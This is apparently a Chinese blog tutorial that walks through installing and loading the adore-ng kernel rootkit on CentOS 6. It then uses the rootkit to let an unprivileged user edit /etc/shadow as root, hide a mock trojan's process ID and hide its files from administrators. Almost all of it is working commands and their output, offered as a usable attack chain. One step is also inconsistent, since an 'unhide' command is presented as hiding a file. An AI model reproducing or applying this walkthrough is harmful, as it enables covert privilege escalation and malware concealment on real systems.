Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。

在我们生活中,经常看的电视剧谍战片里有一个必不可少的人物——卧底。它的职责就是:良好的伪装使得对手对此长时间毫无察觉;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。

而我们今天要模拟学习的就是与它很像的恶意软件 Rootkit 其中之一:adore-ng

环境:Centos 6

这里需要的用到的两个资源(可下载):

  • adore-ng-master.zip
    -link
  • kernel-devel-2.6.32-754.27.1.el6.x86_64.rpm
    -link

安装 adore-ng

安装依赖:kernel-devel-2.6

[root@Fp-01 ~]# yum -y install kernel-devel-2.6.32-754.27.1.el6.x86_64.rpm
Loaded plugins: fastestmirror, security
Setting up Install Process
……
Installed:kernel-devel.x86_64 0:2.6.32-754.27.1.el6
Complete!

解压安装 adore-ng

[root@Fp-01 ~]# unzip adore-ng-master.zip
[root@Fp-01 ~]# cd adore-ng-master
[root@Fp-01 adore-ng-master]# ll
-rw-r--r--. 1 root root  1143 Dec 30  2015 Makefile
# 已经有 makefile 文件,直接 make -j 4 编译即可
[root@Fp-01 adore-ng-master]# make -j 4

加载模块

[root@Fp-01 adore-ng-master]# insmod adore-ng.ko

查看帮助

[root@Fp-01 adore-ng-master]# ./avaI print info (secret UID etc)    h hide file # 隐藏文件u unhide file # 取消隐藏文件r execute as root   # 以root用户执行R remove PID forever # 永久删除PIDU uninstall adore  # 卸载 adorei make PID invisible  # 隐藏PIDv make PID visible   # 取消隐藏PID

普通用户提权为 root

添加一个普通用户为一会测试使用

[root@Fp-01 ~]# useradd tom
[root@Fp-01 ~]# echo "123456" | passwd --stdin tom
Changing password for user tom.
passwd: all authentication tokens updated successfully.

复制 adore-ng 到 /tmp 下,因为切换用户无法进入 root 家目录,cp -r:递归复制

[root@Fp-01 ~]# cp -r adore-ng-master /tmp/

切换用户,使用 tom 用户登录服务器

[root@Fp-01 ~]# ssh tom@10.0.0.11
Are you sure you want to continue connecting (yes/no)? yes
tom@10.0.0.11's password:
[tom@Fp-01 ~]$ whoami
tom

进行测试,编辑 /etc/shadow

[tom@Fp-01 ~]$ vim /etc/shadow                                                                     ……
"/etc/shadow" [Permission Denied]

可以看到,权限被拒绝,此时,就需要用到 ava 提权

[tom@Fp-01 ~]$ /tmp/adore-ng-master/ava r vim /etc/shadow
56,501,501,56
Adore 1.56 installed. Good luck.
root:$6$tQrXvHNXMxM6eTuN$WJWqoN5bYKuy/PVxpVeWYLCCZ32OCur1rjHIvHOOytjLPPxRMV3jRB6IbENgA2ZBDWI0cwEOTBSwVnmmQlyT7.:18172:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
……

在另一个终端上查看进程,用户身份是 root,说明提权成功

[root@Fp-01 ~]# ps -ef |grep /etc/shadow
root      32703  30867  0 12:03 pts/3    00:00:00 vim /etc/shadow
root      32727  32667  0 12:03 pts/4    00:00:00 grep /etc/shadow

隐藏木马进程

模拟编辑一个木马程序

[tom@Fp-01 opt]$ /tmp/adore-ng-master/ava r mkdir script
56,501,501,56
Adore 1.56 installed. Good luck.
[tom@Fp-01 opt]$ ll
total 4
drwxrwxr-x. 2 root root 4096 Feb 13 12:09 script
[tom@Fp-01 script]$ /tmp/adore-ng-master/ava r vim a.sh
56,500,500,56
Adore 1.56 installed. Good luck.
#!/bin/bashwhile :
doecho `This is the virus` >> date.txtsleep 1
done

简单的模拟木马程序,输出“这是病毒体”,加上执行权限,后台运行

[tom@Fp-01 script]$ /tmp/adore-ng-master/ava r chmod +x a.sh
56,501,501,56
Adore 1.56 installed. Good luck.
[tom@Fp-01 script]$ /tmp/adore-ng-master/ava r ./a.sh &
[1] 33987
[tom@Fp-01 script]$ 56,501,501,56
Adore 1.56 installed. Good luck.

先去查看进程,通过进程号

[tom@Fp-01 script]$ ps -ef |grep 33987
root      33987  30867  0 12:14 pts/3    00:00:00 /bin/bash ./a.sh
root      34137  33987  0 12:14 pts/3    00:00:00 sleep 1
tom       34139  30867  0 12:14 pts/3    00:00:00 grep 33987

可以查看到,接下来,模拟黑客隐藏进程

[tom@Fp-01 script]$ /tmp/adore-ng-master/ava i 33987
56,501,501,56
Adore 1.56 installed. Good luck.
Made PID 33987 invisible.

隐藏成功,此时,我们再去查看进程发现,进程已经被隐藏

[tom@Fp-01 script]$ ps -ef |grep 33987
tom       34139  30867  0 12:14 pts/3    00:00:00 grep 33987

大招:隐藏文件

先来查看 /opt 目录下的文件信息

[tom@Fp-01 ~]$ ll /opt/
total 4
drwxrwxr-x. 2 root root 4096 Feb 13 12:14 script
[tom@Fp-01 ~]$ ll /opt/script/
total 32
-rwxrwxr-x. 1 root root    77 Feb 13 12:13 a.sh
-rw-rw-r--. 1 root root 24737 Feb 13 12:24 date.txt
[tom@Fp-01 ~]$ tree /opt/
/opt/
└── script├── a.sh└── date.txt

我们模拟隐藏 date.txt

[tom@Fp-01 script]$ /tmp/adore-ng-master/ava u date.txt
56,500,500,56
Adore 1.56 installed. Good luck.
File 'date.txt' is now visible.

此时去查看,便发现文件已经找不到了

[root@Fp-01 script]# tree /opt/
/opt/
└── script└── a.sh
[root@Fp-01 ~]# ll /opt/script/
total 48
-rwxrwxr-x. 1 root root    77 Feb 13 12:13 a.sh

提权为 root 权限–>隐藏父进程–>父进程启动子进程(病毒体)–>隐藏文件夹

最终结合起来,便是完成的一个木马病毒,系统管理员很难发现

只有注入思想的博客才是好的博客

Rootkit 之 adore-ng 模拟木马病毒相关推荐

  1. python模拟勒索病毒

    python模拟勒索病毒 勒索病毒原理 [定义及传播]勒索病毒,是一种新型电脑病毒,主要以邮件.程序木马.网页挂马的形式进行传播.关于勒索病毒,最通俗易懂的理解就是,黑客通过攻击你的系统,把你的重要文 ...

  2. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结...

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  3. Atitit.木马病毒自动启动-------------win7计划任务的管理

    Atitit.木马病毒自动启动-------------win7计划任务的管理 1. 计划任务的Windows系统中取代AT 的schtasks命令1 2. Win本身的系统计划任务列表1 2.1.  ...

  4. 云服务器ECS挖矿木马病毒处理和解决方案

    云服务器ECS挖矿木马病毒处理和解决方案 参考文章: (1)云服务器ECS挖矿木马病毒处理和解决方案 (2)https://www.cnblogs.com/owenma/p/10430599.html ...

  5. 探秘网络背后黑产链:黑客攻击木马病毒机构内鬼防不胜防

    电子商务.移动支付的普及,消费者越来越少随身携带现金,人们打趣道"小偷都快失业了". 但在互联网上,靠盗窃用户电子账户资金.虚拟资产的"网络小偷"却十分猖獗. ...

  6. 一个感染型木马病毒分析(二)

    作者:龙飞雪 0x1序言 前面已经对感染型木马病毒resvr.exe的病毒行为进行了具体的分析见一个感染型木马病毒分析(一),但是觉得还不够,不把这个感染型木马病毒的行为的亮点进行分析一下就有点遗憾了 ...

  7. Atitit. 木马病毒的外部class自动加载机制------加载class的方法总结

    Atitit. 木马病毒的外部class自动加载机制------加载class的方法总结 Atitit.java load class methods 1. 动态加载jar文件和class文件. 1 ...

  8. python病毒usb文件自动安装_win7禁USB自动安装驱动功能避免木马病毒入侵

    用户在限制USB设备使用方面,首先考虑的就是禁止其自动播放,以避免木马病毒入侵,但很多时候,这样的方法并不是很有效.如果你是Win7用户,那就可以通过它独有的"权限控制"技术,从源 ...

  9. 瑞星2009:3大拦截2大防御功能主动遏制木马病毒

    12月16日,"瑞星全功能安全软件2009"正式发布,它基于瑞星"云安全"技术开发,实现了彻底的互联网化,是一款超越了传统"杀毒软件"的划时 ...

最新文章

  1. 穿山甲发布聚合产品GroMore,为开发者变现赋能
  2. Python除了人工智能,还能从事哪些工作?
  3. Flask-RESTful 安装
  4. gradle的多项目构建(九)
  5. super 和 this 关键字的比较+调用构造器(this)+动态绑定
  6. word一键生成ppt 分页_如何一键把Word转换为PPT?
  7. python多线程同步与互斥_python多线程编程(3): 使用互斥锁同步线程
  8. 【一类题】二维数点的几个做法
  9. 一步步学习SPD2010--第九章节--使用可重用工作流和工作流表单(13)--修改任务表单...
  10. VS2008开发Silverlight程序用到的插件
  11. “方正小标宋简体、仿宋_GB2312和楷体_GB2312字体”的添加
  12. 什么是社会融资规模,M0、M1、M2?
  13. Android实现淘宝购物车
  14. S7-1200 PLC与电子秤进行MODBUS RTU通信的具体步骤
  15. Pimple研究及PHP框架搭建
  16. IE7,IE8与IE6兼容路上的痛苦
  17. UE4 骨骼动画 蓝图中调节某一根骨骼
  18. truncate()函数
  19. Easy App Locker - 给你的 mac 应用加锁保护你的隐私
  20. Windows安装lua,并使用SciTE进行编辑

热门文章

  1. 使用手机termux安装metasploit
  2. [渝粤教育] 中国地质大学 战略管理 复习题
  3. 计算机故障有哪些判断方法有哪些,电脑故障详解之——“点不亮”的故障判断方法...
  4. 关于hibernate 更新或者删除报错different object with the same identifier
  5. python上位机开发实例-python上位机
  6. Tomcat探秘(1):Tomcat是什么?
  7. oracle 报ORA-01840 错误,原因是脏数据
  8. 自变量选择与逐步回归——《应用回归分析R语言版》
  9. matlab踩坑 自带surf 函数找不了 surf 作为函数执行
  10. ST-Link SWD接口接线